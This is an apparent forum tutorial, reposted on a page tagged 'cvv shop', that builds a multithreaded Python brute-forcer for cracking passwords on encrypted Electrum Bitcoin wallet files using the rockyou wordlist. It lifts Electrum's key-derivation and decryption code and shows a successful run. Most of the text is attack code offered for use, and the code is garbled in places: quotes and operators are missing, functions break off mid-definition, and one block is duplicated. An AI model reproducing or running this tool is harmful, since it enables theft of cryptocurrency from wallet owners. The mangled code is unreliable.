Cracking encrypted Electrum Wallets by brute force” cvv shop

BruteForce encrypted Electum Wallets. Python coding. Have Fun!

Good afternoon, dear forum members! I am not strong in writing articles and I have never worked as a journalist, so presumably this article will not be a work of literary art, but I don’t need it either, my goal is to bring you the technical part as transparently as possible. We will do a little research on Electrum Bitcoin Wallet (hereinafter EBW), as follows

My personal favorite: we will code, we will parse EBW source code; We will make multithreaded bruteforcer for Electrum wallets cracking in Python3; And of course we will test all this stuff

If you have decided that this topic will be of interest to you, then let’s get started. Brew your favorite coffee and let’s go

PS: I will be using OS Ubuntu 18.04, Python 3.6.9, Sublime Text 3 to develop our bruteforcer.

1. Project creation

First, download Electrum-4.x.x.tar.gz (https://electrum.org/panel-download.html) python source and extract it (I will use version 4.1.2):

cd ~/Downloads tar -xf Electrum-4.1.2.tar.gz cd Electrum-4.x.x ls -w1

And we have:

AUTHORS contrib electrum electrum.desktop Electrum.egg-info LICENCE MANIFEST.in packages PKG-INFO README.rst RELEASE-NOTES run_electrum setup.cfg setup.py

For the project we will need only the contents of the electrum directory. This directory contains all the python code we need to build our bruteforcer.

Let’s create a working directory:

mkdir ~/EBW_bf mkdir ~/EBW_bf/src cp -r ~/Downloads/Electrum-4.1.2/electrum ~/EBW_bf/ cd ~/EBW_bf

We will work in a virtual python environment, so in the project directory do the following:

python3 -m venv ./venv source ./venv/bin/activate

PS: I address python modules with -m because it is more intuitive for me which version of python I am addressing.

Everything is prepared, we can proceed to writing the code, or rather to copying from the source code Electrum ? To begin with, let’s get acquainted with the process of decrypting the purse, I will denote it in the form of a scheme:

769150221_UntitledDiagram.png.650b8219ebf07bbef3be58d024b17339.png

2. Coding

Let’s start with main.py

Here we need the WalletStorage class, which will contain the methods of decrypting our wallet. I will ignore the methods that we don’t need, since we will focus on password validation only. To understand how the initialization of the wallet is organized in Electrum, let’s turn to electrum/storage.py, specifically to the WalletStorage class. When checking the password (key) Electrum initializes the WalletStorage class and calls the check_password() method from it, which calls the decrypt() method. So… it’s not very clear, it seems to me. Let’s write this construct in pseudocode for clarity:

init class WalletStorage(path_to_walet) > check_password(password) > decrypt(password)

More or less

I ended up with this beginning:

import hashlib import sys import os

from src import ecc

class WalletStorage(object): def __init__(self, path):

self.path = os.path.join( os.path.dirname(os.path.realpath(__file__)), path) self._file_exists = bool(self.path and os.path.exists(self.path)) self.pubkey = None self.decrypted =

with open(self.path, r, encoding=utf-8) as f: self.raw = f.read()

def _get_encryption_magic(self): return bBIE1

def decrypt(self, password) -> None: ec_key = self.get_eckey_from_password(password)

s = False if self.raw: enc_magic = self._get_encryption_magic() s = ec_key.decrypt_message(self.raw, enc_magic) if s: print([ ] %s % password)

def check_password(self, password) -> None: self.decrypt(password)

staticmethod def get_eckey_from_password(password): secret = hashlib.pbkdf2_hmac(sha512, password.encode(utf-8), b, iterations=1024) ec_key = ecc.ECPrivkey.from_arbitrary_size_secret(secret)

return ec_key

def main():

for password in [test1, passwordTest2]: wallet.check_password(password)

if __name__ == __main__: main = main()

The decrypt method uses the following methods:

get_eckey_from_password retrieve EC_KEY from a secret. This method returns an object of class ECPrivkey, which will be called later. _get_encryption_magic gets the encryption method (password, key etc.). You may notice that I’ve abbreviated this method to return bBIE1, since I’ll be using only the password encryption method. BIE1 the first 4 characters of the wallet responsible for the encryption method (do base64 decode if you don’t trust it)

Next, let’s look at the ECPrivkey class methods, specifically, the decrypt_message method, which will give us the desired YES or NO when checking the password. Let’s start in order: the first method we call is decrypt(password)> get_eckey_from_password(password) which calls the ecc.ECPrivkey.from_arbitrary_size_secret(secret) method

Let’s create an ecc.py file in the src working directory, which will contain the ECPrivkey class:

PS: I keep the same file names as the electrum project, so there is no confusion.

should go like this:

electrum venv main.py src — ecc.py L– __init__.py

In __init__.py designate our ecc.py

__init__.py

from . import ecc

Let’s start building ecc.py: at this step we need the ECPubkey and ECPrivkey classes with the right set of methods for our purposes.

First of all, we call the static class method: ECPrivkey.from_arbitrary_size_secret(secret), let’s see what happens there: let’s turn to electrum/ecc.py

Again it’s confusing let’s write it down in readable form:

from_arbitrary_size_secret() > init class ECPrivkey(some scalar) > init class ECPubkey(something non-human).

I.e. the static method from_arbitrary_size_secret initializes the ECPrivkey class, which in turn initializes the ECPubkey class (GENERATOR).

Let’s get this all set up:

ecc.py

.

from typing import Union, Tuple, Optional from ctypes import ( byref, c_byte, c_int, c_uint, c_char_p, c_size_t, c_void_p, create_string_buffer, CFUNCTYPE, POINTER, cast ) import base64 import hashlib

from src.util import assert_bytes from src.ecc_fast import _libsecp256k1, SECP256K1_EC_UNCOMPRESSED from src.crypto import hmac_oneshot

def string_to_number(b: bytes) -> int: return int.from_bytes(b, byteorder=big, signed=False)

def is_secret_within_curve_range(secret: Union[int, bytes]) -> bool: if isinstance(secret, bytes): secret = string_to_number(secret) return 0 < secret Tuple[int, int]: assert isinstance(pubkey, bytes), fpubkey must be bytes, not {type(pubkey)}

pubkey_ptr = create_string_buffer(64) ret = _libsecp256k1.secp256k1_ec_pubkey_parse( _libsecp256k1.ctx, pubkey_ptr, pubkey, len(pubkey)) if not ret: raise InvalidECPointException(public key could not be parsed or is invalid)

pubkey_serialized = create_string_buffer(65) pubkey_size = c_size_t(65) _libsecp256k1.secp256k1_ec_pubkey_serialize( _libsecp256k1.ctx, pubkey_serialized, byref(pubkey_size), pubkey_ptr, SECP256K1_EC_UNCOMPRESSED) pubkey_serialized = bytes(pubkey_serialized) assert pubkey_serialized[0] == 0x04, pubkey_serialized x = int.from_bytes(pubkey_serialized[1:33], byteorder=big, signed=False) y = int.from_bytes(pubkey_serialized[33:65], byteorder=big, signed=False) return x, y

class ECPubkey(object):

def __init__(self, b: Optional[bytes]): if b is not None: assert isinstance(b, (bytes, bytearray)), fpubkey must be bytes-like, not {type(b)} if isinstance(b, bytearray): b = bytes(b) self._x, self._y = _x_and_y_from_pubkey_bytes(b) else: self._x, self._y = None, None

def is_at_infinity(self): return self == POINT_AT_INFINITY

def x(self) -> int: return self._x

def y(self) -> int: return self._y

def get_public_key_bytes(self, compressed=True): if self.is_at_infinity(): raise Exception(point is at infinity) x = int.to_bytes(self.x(), length=32, byteorder=big, signed=False) y = int.to_bytes(self.y(), length=32, byteorder=big, signed=False) if compressed: header = b\x03 if self.y() 1 else b\x02 return header x else: header = b\x04 return header x y

def _to_libsecp256k1_pubkey_ptr(self): pubkey = create_string_buffer(64) public_pair_bytes = self.get_public_key_bytes(compressed=False) ret = _libsecp256k1.secp256k1_ec_pubkey_parse( _libsecp256k1.ctx, pubkey, public_pair_bytes, len(public_pair_bytes)) if not ret: raise Exception(public key could not be parsed or is invalid) return pubkey

classmethod def _from_libsecp256k1_pubkey_ptr(cls, pubkey) -> ECPubkey: pubkey_serialized = create_string_buffer(65) pubkey_size = c_size_t(65) _libsecp256k1.secp256k1_ec_pubkey_serialize( _libsecp256k1.ctx, pubkey_serialized, byref(pubkey_size), pubkey, SECP256K1_EC_UNCOMPRESSED) return ECPubkey(bytes(pubkey_serialized))

def __mul__(self, other: int):

if not isinstance(other, int): raise TypeError(multiplication not defined for ECPubkey and {}.format(type(other)))

other %= CURVE_ORDER

if self.is_at_infinity() or other == 0: return POINT_AT_INFINITY

pubkey = self._to_libsecp256k1_pubkey_ptr()

ret = _libsecp256k1.secp256k1_ec_pubkey_tweak_mul(_libsecp256k1.ctx, pubkey, other.to_bytes(32, byteorder=big))

if not ret: return POINT_AT_INFINITY

return ECPubkey._from_libsecp256k1_pubkey_ptr(pubkey)

CURVE_ORDER = 0xFFFFFF_FFFFFF_FFFFFFFF_FFFFFE_BAAEDCE6_AF48A03B_BFD25E8C_D0364141 GENERATOR = ECPubkey(bytes.fromhex(0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8)) POINT_AT_INFINITY = ECPubkey(None)

class ECPrivkey(ECPubkey): def __init__(self, privkey_bytes: bytes):

assert_bytes(privkey_bytes) if len(privkey_bytes) != 32: raise Exception(unexpected size for secret. should be 32 bytes, not {}.format(len(privkey_bytes)))

secret = string_to_number(privkey_bytes)

if not is_secret_within_curve_range(secret): raise InvalidECPointException(Invalid secret scalar (not within curve order)) self.secret_scalar = secret

pubkey = GENERATOR * secret

super().__init__(pubkey.get_public_key_bytes(compressed=False))

classmethod def from_arbitrary_size_secret(cls, privkey_bytes: bytes): return ECPrivkey(cls.normalize_secret_bytes(privkey_bytes))

classmethod def normalize_secret_bytes(cls, privkey_bytes: bytes) -> bytes: scalar = string_to_number(privkey_bytes) % CURVE_ORDER if scalar == 0: raise Exception(invalid EC private key scalar: zero) privkey_32bytes = int.to_bytes(scalar, length=32, byteorder=big, signed=False) return privkey_32bytes

def decrypt_message(self, encrypted: Union[str, bytes], magic: bytes=bBIE1) -> bytes:

Done! What’s left to deal with is not very clear ecc.py

I’ll duplicate it so you don’t have to scroll:

ecc.py

.

from typing import Union, Tuple, Optional from ctypes import ( byref, c_byte, c_int, c_uint, c_char_p, c_size_t, c_void_p, create_string_buffer, CFUNCTYPE, POINTER, cast ) import base64 import hashlib

from src.util import assert_bytes from src.ecc_fast import _libsecp256k1, SECP256K1_EC_UNCOMPRESSED from src.crypto import hmac_oneshot

def string_to_number(b: bytes) -> int: return int.from_bytes(b, byteorder=big, signed=False)

def is_secret_within_curve_range(secret: Union[int, bytes]) -> bool: if isinstance(secret, bytes): secret = string_to_number(secret) return 0 < secret Tuple[int, int]: assert isinstance(pubkey, bytes), fpubkey must be bytes, not {type(pubkey)}

pubkey_ptr = create_string_buffer(64) ret = _libsecp256k1.secp256k1_ec_pubkey_parse( _libsecp256k1.ctx, pubkey_ptr, pubkey, len(pubkey)) if not ret: raise InvalidECPointException(public key could not be parsed or is invalid)

pubkey_serialized = create_string_buffer(65) pubkey_size = c_size_t(65) _libsecp256k1.secp256k1_ec_pubkey_serialize( _libsecp256k1.ctx, pubkey_serialized, byref(pubkey_size), pubkey_ptr, SECP256K1_EC_UNCOMPRESSED) pubkey_serialized = bytes(pubkey_serialized) assert pubkey_serialized[0] == 0x04, pubkey_serialized x = int.from_bytes(pubkey_serialized[1:33], byteorder=big, signed=False) y = int.from_bytes(pubkey_serialized[33:65], byteorder=big, signed=False) return x, y

class ECPubkey(object):

def __init__(self, b: Optional[bytes]): if b is not None: assert isinstance(b, (bytes, bytearray)), fpubkey must be bytes-like, not {type(b)} if isinstance(b, bytearray): b = bytes(b) self._x, self._y = _x_and_y_from_pubkey_bytes(b) else: self._x, self._y = None, None

def is_at_infinity(self): return self == POINT_AT_INFINITY

def x(self) -> int: return self._x

def y(self) -> int: return self._y

def get_public_key_bytes(self, compressed=True): if self.is_at_infinity(): raise Exception(point is at infinity) x = int.to_bytes(self.x(), length=32, byteorder=big, signed=False) y = int.to_bytes(self.y(), length=32, byteorder=big, signed=False) if compressed: header = b\x03 if self.y() 1 else b\x02 return header x else: header = b\x04 return header x y

def _to_libsecp256k1_pubkey_ptr(self): pubkey = create_string_buffer(64) public_pair_bytes = self.get_public_key_bytes(compressed=False) ret = _libsecp256k1.secp256k1_ec_pubkey_parse( _libsecp256k1.ctx, pubkey, public_pair_bytes, len(public_pair_bytes)) if not ret: raise Exception(public key could not be parsed or is invalid) return pubkey

classmethod def _from_libsecp256k1_pubkey_ptr(cls, pubkey) -> ECPubkey: pubkey_serialized = create_string_buffer(65) pubkey_size = c_size_t(65) _libsecp256k1.secp256k1_ec_pubkey_serialize( _libsecp256k1.ctx, pubkey_serialized, byref(pubkey_size), pubkey, SECP256K1_EC_UNCOMPRESSED) return ECPubkey(bytes(pubkey_serialized))

def __mul__(self, other: int):

if not isinstance(other, int): raise TypeError(multiplication not defined for ECPubkey and {}.format(type(other)))

other %= CURVE_ORDER

if self.is_at_infinity() or other == 0: return POINT_AT_INFINITY

pubkey = self._to_libsecp256k1_pubkey_ptr()

ret = _libsecp256k1.secp256k1_ec_pubkey_tweak_mul(_libsecp256k1.ctx, pubkey, other.to_bytes(32, byteorder=big))

if not ret: return POINT_AT_INFINITY

return ECPubkey._from_libsecp256k1_pubkey_ptr(pubkey)

CURVE_ORDER = 0xFFFFFF_FFFFFF_FFFFFFFF_FFFFFE_BAAEDCE6_AF48A03B_BFD25E8C_D0364141 GENERATOR = ECPubkey(bytes.fromhex(0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8)) POINT_AT_INFINITY = ECPubkey(None)

class ECPrivkey(ECPubkey): def __init__(self, privkey_bytes: bytes):

assert_bytes(privkey_bytes) if len(privkey_bytes) != 32: raise Exception(unexpected size for secret. should be 32 bytes, not {}.format(len(privkey_bytes)))

secret = string_to_number(privkey_bytes)

if not is_secret_within_curve_range(secret): raise InvalidECPointException(Invalid secret scalar (not within curve order)) self.secret_scalar = secret

pubkey = GENERATOR * secret

super().__init__(pubkey.get_public_key_bytes(compressed=False))

classmethod def from_arbitrary_size_secret(cls, privkey_bytes: bytes): return ECPrivkey(cls.normalize_secret_bytes(privkey_bytes))

classmethod def normalize_secret_bytes(cls, privkey_bytes: bytes) -> bytes: scalar = string_to_number(privkey_bytes) % CURVE_ORDER if scalar == 0: raise Exception(invalid EC private key scalar: zero) privkey_32bytes = int.to_bytes(scalar, length=32, byteorder=big, signed=False) return privkey_32bytes

def decrypt_message(self, encrypted: Union[str, bytes], magic: bytes=bBIE1) -> bytes:

encrypted = base64.b64decode(encrypted) if len(encrypted) bytes:

Let’s add a progress bar: to do this, install the handy tqdm package:

python3 -m pip install tqdm

It is worth noting here that we need to know the total number of passwords in the dictionary before we start the password search, in order to see the progress.

We end up with something like this:

main.py

from concurrent.futures import ThreadPoolExecutor from tqdm import tqdm import hashlib import sys import os

from src import ecc

class WalletStorage(object): def __init__(self, path):

self.path = os.path.join( os.path.dirname(os.path.realpath(__file__)), path) self._file_exists = bool(self.path and os.path.exists(self.path)) self.pubkey = None self.decrypted =

with open(self.path, r, encoding=utf-8) as f: self.raw = f.read()

def _get_encryption_magic(self): return bBIE1

def decrypt(self, password) -> None: ec_key = self.get_eckey_from_password(password)

s = False if self.raw: enc_magic = self._get_encryption_magic() s = ec_key.decrypt_message(self.raw, enc_magic) if s: print() print([ ] %s % password) exit()

def check_password(self, password) -> None: global PBAR

self.decrypt(password) PBAR.update(1)

staticmethod def get_eckey_from_password(password): secret = hashlib.pbkdf2_hmac(sha512, password.encode(utf-8), b, iterations=1024) ec_key = ecc.ECPrivkey.from_arbitrary_size_secret(secret)

return ec_key

def main():

global PBAR

print(loading dict ) dict_len = 0 with open(rockyou.txt, r, errors=replace) as fd: for line in fd: dict_len = 1

print(starting) print()

PBAR = tqdm(total=dict_len)

que = [] with open(rockyou.txt, r, errors=replace) as fd: for password in fd: password = password.rstrip() que.append(password)

if len(que) == 1000: with ThreadPoolExecutor(max_workers=4) as pool: pool.map(wallet.check_password, que) que = []

if len(que) > 0: with ThreadPoolExecutor(max_workers=4) as pool: pool.map(wallet.check_password, que)

if __name__ == __main__: main = main()

And this:

venv electrum rockyou.txt main.py src — crypto.py — ecc_fast.py — ecc.py — __init__.py L– util.py

3 Testing!

We will use the well-known rockyou as our dictionary.

Create a wallet with a simple password (mine is password123), copy it into the working directory, and start testing.

[/DATAENCODE

PS: set a password for testing, which is in the dictionary. Our task is to make sure the script works correctly, and then do whatever you want.

cp ~/.electrum/wallets/test_wallet ~/EBW_bf python3 main.py test_wallet

PC is making noise and we’re just waiting :]

loading dict starting

38%|———? | 5491654/14344324 [6489.81it/s] [ ] testpassword123

PwN! The result did not keep me waiting long. I hope you have learned something from this article and will use it in the future (for good cause, of course). Happy hunting, everyone!

cvv shop

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *